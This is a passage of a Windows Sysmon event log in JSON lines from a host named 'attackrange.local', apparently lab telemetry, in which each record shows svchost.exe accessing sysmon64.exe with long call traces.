C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1333,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1334,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1335,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1336,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1337,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1338,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1339,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1340,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 